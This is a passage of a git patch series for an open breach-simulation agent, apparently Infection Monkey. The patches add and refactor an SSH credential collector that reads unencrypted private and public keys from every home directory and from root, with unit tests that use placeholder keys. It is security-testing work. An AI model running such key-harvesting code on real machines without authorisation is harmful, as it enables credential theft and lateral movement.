From 5aa5e33356b1a70acd2470fee591b0f46043f834 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 14 Feb 2022 23:09:51 +0100 Subject: [PATCH 01/10] Agent, UT: Refactor SSH info collector to credential collector --- .../SSH_credentials_collector.py | 141 ++++++++++++++++++ .../ssh_collector/__init__.py | 1 + .../ssh_info/ssh_info_full/id_12345 | 3 + .../ssh_info/ssh_info_full/id_12345.pub | 1 + .../ssh_info/ssh_info_full/known_hosts | 4 + .../ssh_info_no_public_key/giberrish_file.txt | 0 .../ssh_info/ssh_info_partial/id_12345.pub | 1 + .../test_ssh_credentials_collector.py | 94 ++++++++++++ 8 files changed, 245 insertions(+) create mode 100644 monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py create mode 100644 monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt create mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub create mode 100644 monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py new file mode 100644 index 000000000..2e5eba0f7 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py @@ -0,0 +1,141 @@ +import glob +import logging +import os +import pwd +from typing import Dict, Iterable + +from common.utils.attack_utils import ScanStatus +from infection_monkey.credential_collectors import ( + Credentials, + ICredentialCollector, + SSHKeypair, + Username, +) +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + +logger = logging.getLogger(__name__) + + +class SSHCollector(ICredentialCollector): + """ + SSH keys and known hosts collection module + """ + + default_dirs = ["/.ssh/", "/"] + + def collect_credentials(self) -> Credentials: + logger.info("Started scanning for SSH credentials") + home_dirs = SSHCollector._get_home_dirs() + ssh_info = SSHCollector._get_ssh_files(home_dirs) + logger.info("Scanned for SSH credentials") + + return SSHCollector._to_credentials(ssh_info) + + @staticmethod + def _to_credentials(ssh_info: Iterable[Dict]) -> Credentials: + credentials_obj = Credentials(identities=[], secrets=[]) + + for info in ssh_info: + credentials_obj.identities.append(Username(info["name"])) + ssh_keypair = {} + if "public_key" in info: + ssh_keypair["public_key"] = info["public_key"] + if "private_key" in info: + ssh_keypair["private_key"] = info["private_key"] + if "public_key" in info: + ssh_keypair["known_hosts"] = info["known_hosts"] + + credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) + + return credentials_obj + + @staticmethod + def _get_home_dirs() -> Iterable[Dict]: + root_dir = SSHCollector._get_ssh_struct("root", "") + home_dirs = [ + SSHCollector._get_ssh_struct(x.pw_name, x.pw_dir) + for x in pwd.getpwall() + if x.pw_dir.startswith("/home") + ] + home_dirs.append(root_dir) + return home_dirs + + @staticmethod + def _get_ssh_struct(name: str, home_dir: str) -> Dict: + """ + Construct the SSH info. It consisted of: name, home_dir, + public_key, private_key and known_hosts. + + public_key: contents of *.pub file (public key) + private_key: contents of * file (private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + + :param name: username of user, for whom the keys belong + :param home_dir: users home directory + :return: SSH info struct + """ + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + "known_hosts": None, + } + + @staticmethod + def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: + for info in usr_info: + path = info["home_dir"] + for directory in SSHCollector.default_dirs: + if os.path.isdir(path + directory): + try: + current_path = path + directory + # Searching for public key + if glob.glob(os.path.join(current_path, "*.pub")): + # Getting first file in current path with .pub extension(public key) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] + logger.info("Found public key in %s" % public) + try: + with open(public) as f: + info["public_key"] = f.read() + # By default private key has the same name as public, + # only without .pub + private = os.path.splitext(public)[0] + if os.path.exists(private): + try: + with open(private) as f: + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key + logger.info("Found private key in %s" % private) + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ).send() + else: + continue + except (IOError, OSError): + pass + # By default, known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, "known_hosts") + if os.path.exists(known_hosts): + try: + with open(known_hosts) as f: + info["known_hosts"] = f.read() + logger.info("Found known_hosts in %s" % known_hosts) + except (IOError, OSError): + pass + # If private key found don't search more + if info["private_key"]: + break + except (IOError, OSError): + pass + except OSError: + pass + usr_info = [ + info + for info in usr_info + if info["private_key"] or info["known_hosts"] or info["public_key"] + ] + return usr_info diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py new file mode 100644 index 000000000..adc6a2dc5 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py @@ -0,0 +1 @@ +from .SSH_credentials_collector import SSHCollector diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 new file mode 100644 index 000000000..54616cc11 --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 @@ -0,0 +1,3 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +LoremIpsumSomethingNothing +-----END OPENSSH PRIVATE KEY----- diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub new file mode 100644 index 000000000..082f12abd --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub @@ -0,0 +1 @@ +ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts new file mode 100644 index 000000000..8e95ebb9a --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts @@ -0,0 +1,4 @@ +|1|really+known+host|known_host1 +|1|really+known+host|known_host2 +|1|really+known+host|known_host3 +|1|really+known+host|known_host4 diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt b/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub new file mode 100644 index 000000000..082f12abd --- /dev/null +++ b/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub @@ -0,0 +1 @@ +ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py new file mode 100644 index 000000000..8a7cda3c7 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -0,0 +1,94 @@ +import os +import pwd +from pathlib import Path + +import pytest + +from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors.ssh_collector import SSHCollector + + +@pytest.fixture +def project_name(pytestconfig): + home_dir = str(Path.home()) + return "/" / Path(str(pytestconfig.rootdir).replace(home_dir, "")) + + +@pytest.fixture +def ssh_test_dir(project_name): + return project_name / "monkey" / "tests" / "data_for_tests" / "ssh_info" + + +@pytest.fixture +def get_username(): + return pwd.getpwuid(os.getuid()).pw_name + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_ssh_credentials_collector_success(ssh_test_dir, get_username, monkeypatch): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", + [str(ssh_test_dir / "ssh_info_full")], + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.identities) == 1 + assert type(ssh_credentials.identities[0]) == Username + assert "username" in ssh_credentials.identities[0].content + assert ssh_credentials.identities[0].content["username"] == get_username + + assert len(ssh_credentials.secrets) == 1 + assert type(ssh_credentials.secrets[0]) == SSHKeypair + + assert len(ssh_credentials.secrets[0].content) == 3 + assert ( + ssh_credentials.secrets[0] + .content["private_key"] + .startswith("-----BEGIN OPENSSH PRIVATE KEY-----") + ) + assert ( + ssh_credentials.secrets[0] + .content["public_key"] + .startswith("ssh-ed25519 something-public-here") + ) + assert ssh_credentials.secrets[0].content["known_hosts"].startswith("|1|really+known+host") + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_no_ssh_credentials(monkeypatch): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", [] + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.identities) == 0 + assert len(ssh_credentials.secrets) == 0 + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_ssh_collector_partial_credentials(monkeypatch, ssh_test_dir): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", + [str(ssh_test_dir / "ssh_info_partial")], + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.secrets[0].content) == 3 + assert ssh_credentials.secrets[0].content["private_key"] is None + assert ssh_credentials.secrets[0].content["known_hosts"] is None + + +@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") +def test_ssh_collector_no_public_key(monkeypatch, ssh_test_dir): + monkeypatch.setattr( + "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", + [str(ssh_test_dir / "ssh_info_no_public_key")], + ) + + ssh_credentials = SSHCollector().collect_credentials() + + assert len(ssh_credentials.identities) == 0 + assert len(ssh_credentials.secrets) == 0 From e9e5e95f49ae84571a46dade82c19c7f0679b112 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Feb 2022 14:56:58 +0100 Subject: [PATCH 02/10] Agent, UT: Separate ssh_handler from SSH Credential Collector * Add different UTs based on what ssh_handler returns * Fix logic in SSH Credential Collector --- .../SSH_credentials_collector.py | 131 +++------------- .../ssh_collector/ssh_handler.py | 112 ++++++++++++++ .../ssh_info/ssh_info_full/id_12345 | 3 - .../ssh_info/ssh_info_full/id_12345.pub | 1 - .../ssh_info/ssh_info_full/known_hosts | 4 - .../ssh_info_no_public_key/giberrish_file.txt | 0 .../ssh_info/ssh_info_partial/id_12345.pub | 1 - .../test_ssh_credentials_collector.py | 145 ++++++++---------- 8 files changed, 194 insertions(+), 203 deletions(-) create mode 100644 monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt delete mode 100644 monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py index 2e5eba0f7..778a5788a 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py @@ -1,17 +1,13 @@ -import glob import logging -import os -import pwd -from typing import Dict, Iterable +from typing import Dict, Iterable, List -from common.utils.attack_utils import ScanStatus from infection_monkey.credential_collectors import ( Credentials, ICredentialCollector, SSHKeypair, Username, ) -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.credential_collectors.ssh_collector import ssh_handler logger = logging.getLogger(__name__) @@ -21,121 +17,32 @@ class SSHCollector(ICredentialCollector): SSH keys and known hosts collection module """ - default_dirs = ["/.ssh/", "/"] - - def collect_credentials(self) -> Credentials: + def collect_credentials(self, _options=None) -> List[Credentials]: logger.info("Started scanning for SSH credentials") - home_dirs = SSHCollector._get_home_dirs() - ssh_info = SSHCollector._get_ssh_files(home_dirs) + ssh_info = ssh_handler.get_ssh_info() logger.info("Scanned for SSH credentials") return SSHCollector._to_credentials(ssh_info) @staticmethod - def _to_credentials(ssh_info: Iterable[Dict]) -> Credentials: - credentials_obj = Credentials(identities=[], secrets=[]) + def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: + ssh_credentials = [] for info in ssh_info: - credentials_obj.identities.append(Username(info["name"])) + credentials_obj = Credentials(identities=[], secrets=[]) + + if "name" in info and info["name"] != "": + credentials_obj.identities.append(Username(info["name"])) + ssh_keypair = {} - if "public_key" in info: - ssh_keypair["public_key"] = info["public_key"] - if "private_key" in info: - ssh_keypair["private_key"] = info["private_key"] - if "public_key" in info: - ssh_keypair["known_hosts"] = info["known_hosts"] + for key in ["public_key", "private_key", "known_hosts"]: + if key in info and info.get(key) is not None: + ssh_keypair[key] = info[key] - credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) + if len(ssh_keypair): + credentials_obj.secrets.append(SSHKeypair(ssh_keypair)) - return credentials_obj + if credentials_obj.identities != [] or credentials_obj.secrets != []: + ssh_credentials.append(credentials_obj) - @staticmethod - def _get_home_dirs() -> Iterable[Dict]: - root_dir = SSHCollector._get_ssh_struct("root", "") - home_dirs = [ - SSHCollector._get_ssh_struct(x.pw_name, x.pw_dir) - for x in pwd.getpwall() - if x.pw_dir.startswith("/home") - ] - home_dirs.append(root_dir) - return home_dirs - - @staticmethod - def _get_ssh_struct(name: str, home_dir: str) -> Dict: - """ - Construct the SSH info. It consisted of: name, home_dir, - public_key, private_key and known_hosts. - - public_key: contents of *.pub file (public key) - private_key: contents of * file (private key) - known_hosts: contents of known_hosts file(all the servers keys are good for, - possibly hashed) - - :param name: username of user, for whom the keys belong - :param home_dir: users home directory - :return: SSH info struct - """ - return { - "name": name, - "home_dir": home_dir, - "public_key": None, - "private_key": None, - "known_hosts": None, - } - - @staticmethod - def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: - for info in usr_info: - path = info["home_dir"] - for directory in SSHCollector.default_dirs: - if os.path.isdir(path + directory): - try: - current_path = path + directory - # Searching for public key - if glob.glob(os.path.join(current_path, "*.pub")): - # Getting first file in current path with .pub extension(public key) - public = glob.glob(os.path.join(current_path, "*.pub"))[0] - logger.info("Found public key in %s" % public) - try: - with open(public) as f: - info["public_key"] = f.read() - # By default private key has the same name as public, - # only without .pub - private = os.path.splitext(public)[0] - if os.path.exists(private): - try: - with open(private) as f: - # no use from ssh key if it's encrypted - private_key = f.read() - if private_key.find("ENCRYPTED") == -1: - info["private_key"] = private_key - logger.info("Found private key in %s" % private) - T1005Telem( - ScanStatus.USED, "SSH key", "Path: %s" % private - ).send() - else: - continue - except (IOError, OSError): - pass - # By default, known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, "known_hosts") - if os.path.exists(known_hosts): - try: - with open(known_hosts) as f: - info["known_hosts"] = f.read() - logger.info("Found known_hosts in %s" % known_hosts) - except (IOError, OSError): - pass - # If private key found don't search more - if info["private_key"]: - break - except (IOError, OSError): - pass - except OSError: - pass - usr_info = [ - info - for info in usr_info - if info["private_key"] or info["known_hosts"] or info["public_key"] - ] - return usr_info + return ssh_credentials diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py new file mode 100644 index 000000000..30f1408a2 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -0,0 +1,112 @@ +import glob +import logging +import os +import pwd +from typing import Dict, Iterable + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + +logger = logging.getLogger(__name__) + +DEFAULT_DIRS = ["/.ssh/", "/"] + + +def get_ssh_info() -> Iterable[Dict]: + home_dirs = _get_home_dirs() + ssh_info = _get_ssh_files(home_dirs) + + return ssh_info + + +def _get_home_dirs() -> Iterable[Dict]: + root_dir = _get_ssh_struct("root", "") + home_dirs = [ + _get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() if x.pw_dir.startswith("/home") + ] + home_dirs.append(root_dir) + return home_dirs + + +def _get_ssh_struct(name: str, home_dir: str) -> Dict: + """ + Construct the SSH info. It consisted of: name, home_dir, + public_key, private_key and known_hosts. + + public_key: contents of *.pub file (public key) + private_key: contents of * file (private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + + :param name: username of user, for whom the keys belong + :param home_dir: users home directory + :return: SSH info struct + """ + # TODO: There may be multiple public keys for a single user + # TODO: Authorized keys are missing. + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + "known_hosts": None, + } + + +def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: + for info in usr_info: + path = info["home_dir"] + for directory in DEFAULT_DIRS: + # TODO: Use PATH + if os.path.isdir(path + directory): + try: + current_path = path + directory + # Searching for public key + if glob.glob(os.path.join(current_path, "*.pub")): + # TODO: There may be multiple public keys for a single user + # Getting first file in current path with .pub extension(public key) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] + logger.info("Found public key in %s" % public) + try: + with open(public) as f: + info["public_key"] = f.read() + # By default, private key has the same name as public, + # only without .pub + private = os.path.splitext(public)[0] + if os.path.exists(private): + try: + with open(private) as f: + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key + logger.info("Found private key in %s" % private) + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ).send() + else: + continue + except (IOError, OSError): + pass + # By default, known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, "known_hosts") + if os.path.exists(known_hosts): + try: + with open(known_hosts) as f: + info["known_hosts"] = f.read() + logger.info("Found known_hosts in %s" % known_hosts) + except (IOError, OSError): + pass + # If private key found don't search more + if info["private_key"]: + break + except (IOError, OSError): + pass + except OSError: + pass + usr_info = [ + info + for info in usr_info + if info["private_key"] or info["known_hosts"] or info["public_key"] + ] + return usr_info diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 deleted file mode 100644 index 54616cc11..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345 +++ /dev/null @@ -1,3 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -LoremIpsumSomethingNothing ------END OPENSSH PRIVATE KEY----- diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub deleted file mode 100644 index 082f12abd..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/id_12345.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts b/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts deleted file mode 100644 index 8e95ebb9a..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_full/known_hosts +++ /dev/null @@ -1,4 +0,0 @@ -|1|really+known+host|known_host1 -|1|really+known+host|known_host2 -|1|really+known+host|known_host3 -|1|really+known+host|known_host4 diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt b/monkey/tests/data_for_tests/ssh_info/ssh_info_no_public_key/giberrish_file.txt deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub b/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub deleted file mode 100644 index 082f12abd..000000000 --- a/monkey/tests/data_for_tests/ssh_info/ssh_info_partial/id_12345.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 something-public-here valid.email@at-email.com diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 8a7cda3c7..0225b07e2 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -1,94 +1,75 @@ -import os -import pwd -from pathlib import Path - -import pytest - -from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors import Credentials, SSHKeypair, Username from infection_monkey.credential_collectors.ssh_collector import SSHCollector -@pytest.fixture -def project_name(pytestconfig): - home_dir = str(Path.home()) - return "/" / Path(str(pytestconfig.rootdir).replace(home_dir, "")) - - -@pytest.fixture -def ssh_test_dir(project_name): - return project_name / "monkey" / "tests" / "data_for_tests" / "ssh_info" - - -@pytest.fixture -def get_username(): - return pwd.getpwuid(os.getuid()).pw_name - - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_ssh_credentials_collector_success(ssh_test_dir, get_username, monkeypatch): +def patch_ssh_handler(ssh_creds, monkeypatch): monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", - [str(ssh_test_dir / "ssh_info_full")], + "infection_monkey.credential_collectors.ssh_collector.ssh_handler.get_ssh_info", + lambda: ssh_creds, ) - ssh_credentials = SSHCollector().collect_credentials() - assert len(ssh_credentials.identities) == 1 - assert type(ssh_credentials.identities[0]) == Username - assert "username" in ssh_credentials.identities[0].content - assert ssh_credentials.identities[0].content["username"] == get_username +def test_ssh_credentials_empty_results(monkeypatch): + patch_ssh_handler([], monkeypatch) + collected = SSHCollector().collect_credentials() + assert [] == collected - assert len(ssh_credentials.secrets) == 1 - assert type(ssh_credentials.secrets[0]) == SSHKeypair + ssh_creds = [ + {"name": "", "home_dir": "", "public_key": None, "private_key": None, "known_hosts": None} + ] + patch_ssh_handler(ssh_creds, monkeypatch) + expected = [] + collected = SSHCollector().collect_credentials() + assert expected == collected - assert len(ssh_credentials.secrets[0].content) == 3 - assert ( - ssh_credentials.secrets[0] - .content["private_key"] - .startswith("-----BEGIN OPENSSH PRIVATE KEY-----") + +def test_ssh_info_result_parsing(monkeypatch): + + ssh_creds = [ + { + "name": "ubuntu", + "home_dir": "/home/ubuntu", + "public_key": "SomePublicKeyUbuntu", + "private_key": "ExtremelyGoodPrivateKey", + "known_hosts": "MuchKnownHosts", + }, + { + "name": "mcus", + "home_dir": "/home/mcus", + "public_key": "AnotherPublicKey", + "private_key": "NotSoGoodPrivateKey", + "known_hosts": None, + }, + { + "name": "", + "home_dir": "/", + "public_key": None, + "private_key": None, + "known_hosts": "VeryGoodHosts1", + }, + ] + patch_ssh_handler(ssh_creds, monkeypatch) + + # Expected credentials + username = Username("ubuntu") + username2 = Username("mcus") + + ssh_keypair1 = SSHKeypair( + { + "public_key": "SomePublicKeyUbuntu", + "private_key": "ExtremelyGoodPrivateKey", + "known_hosts": "MuchKnownHosts", + } ) - assert ( - ssh_credentials.secrets[0] - .content["public_key"] - .startswith("ssh-ed25519 something-public-here") + ssh_keypair2 = SSHKeypair( + {"public_key": "AnotherPublicKey", "private_key": "NotSoGoodPrivateKey"} ) - assert ssh_credentials.secrets[0].content["known_hosts"].startswith("|1|really+known+host") + ssh_keypair3 = SSHKeypair({"known_hosts": "VeryGoodHosts"}) - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_no_ssh_credentials(monkeypatch): - monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", [] - ) - - ssh_credentials = SSHCollector().collect_credentials() - - assert len(ssh_credentials.identities) == 0 - assert len(ssh_credentials.secrets) == 0 - - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_ssh_collector_partial_credentials(monkeypatch, ssh_test_dir): - monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", - [str(ssh_test_dir / "ssh_info_partial")], - ) - - ssh_credentials = SSHCollector().collect_credentials() - - assert len(ssh_credentials.secrets[0].content) == 3 - assert ssh_credentials.secrets[0].content["private_key"] is None - assert ssh_credentials.secrets[0].content["known_hosts"] is None - - -@pytest.mark.skipif(os.name != "posix", reason="We run SSH only on Linux.") -def test_ssh_collector_no_public_key(monkeypatch, ssh_test_dir): - monkeypatch.setattr( - "infection_monkey.credential_collectors.ssh_collector.SSHCollector.default_dirs", - [str(ssh_test_dir / "ssh_info_no_public_key")], - ) - - ssh_credentials = SSHCollector().collect_credentials() - - assert len(ssh_credentials.identities) == 0 - assert len(ssh_credentials.secrets) == 0 + expected = [ + Credentials(identities=[username], secrets=[ssh_keypair1]), + Credentials(identities=[username2], secrets=[ssh_keypair2]), + Credentials(identities=[], secrets=[ssh_keypair3]), + ] + collected = SSHCollector().collect_credentials() + assert expected == collected From a03a5145a7d60a9a69674177147361cc8281b68b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Feb 2022 19:54:05 +0100 Subject: [PATCH 03/10] Agent: Remove known_hosts from SSH Credential Collector It is not used anywhere. --- .../SSH_credentials_collector.py | 2 +- .../ssh_collector/ssh_handler.py | 20 ++-------------- .../test_ssh_credentials_collector.py | 24 ++++--------------- 3 files changed, 8 insertions(+), 38 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py index 778a5788a..bf56db757 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/SSH_credentials_collector.py @@ -35,7 +35,7 @@ class SSHCollector(ICredentialCollector): credentials_obj.identities.append(Username(info["name"])) ssh_keypair = {} - for key in ["public_key", "private_key", "known_hosts"]: + for key in ["public_key", "private_key"]: if key in info and info.get(key) is not None: ssh_keypair[key] = info[key] diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 30f1408a2..2133bd7ae 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -31,12 +31,10 @@ def _get_home_dirs() -> Iterable[Dict]: def _get_ssh_struct(name: str, home_dir: str) -> Dict: """ Construct the SSH info. It consisted of: name, home_dir, - public_key, private_key and known_hosts. + public_key and private_key. public_key: contents of *.pub file (public key) private_key: contents of * file (private key) - known_hosts: contents of known_hosts file(all the servers keys are good for, - possibly hashed) :param name: username of user, for whom the keys belong :param home_dir: users home directory @@ -49,7 +47,6 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict: "home_dir": home_dir, "public_key": None, "private_key": None, - "known_hosts": None, } @@ -88,15 +85,6 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: continue except (IOError, OSError): pass - # By default, known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, "known_hosts") - if os.path.exists(known_hosts): - try: - with open(known_hosts) as f: - info["known_hosts"] = f.read() - logger.info("Found known_hosts in %s" % known_hosts) - except (IOError, OSError): - pass # If private key found don't search more if info["private_key"]: break @@ -104,9 +92,5 @@ def _get_ssh_files(usr_info: Iterable[Dict]) -> Iterable[Dict]: pass except OSError: pass - usr_info = [ - info - for info in usr_info - if info["private_key"] or info["known_hosts"] or info["public_key"] - ] + usr_info = [info for info in usr_info if info["private_key"] or info["public_key"]] return usr_info diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 0225b07e2..45aff0878 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -14,9 +14,7 @@ def test_ssh_credentials_empty_results(monkeypatch): collected = SSHCollector().collect_credentials() assert [] == collected - ssh_creds = [ - {"name": "", "home_dir": "", "public_key": None, "private_key": None, "known_hosts": None} - ] + ssh_creds = [{"name": "", "home_dir": "", "public_key": None, "private_key": None}] patch_ssh_handler(ssh_creds, monkeypatch) expected = [] collected = SSHCollector().collect_credentials() @@ -31,45 +29,33 @@ def test_ssh_info_result_parsing(monkeypatch): "home_dir": "/home/ubuntu", "public_key": "SomePublicKeyUbuntu", "private_key": "ExtremelyGoodPrivateKey", - "known_hosts": "MuchKnownHosts", }, { "name": "mcus", "home_dir": "/home/mcus", "public_key": "AnotherPublicKey", - "private_key": "NotSoGoodPrivateKey", - "known_hosts": None, - }, - { - "name": "", - "home_dir": "/", - "public_key": None, "private_key": None, - "known_hosts": "VeryGoodHosts1", }, + {"name": "guest", "home_dir": "/", "public_key": None, "private_key": None}, ] 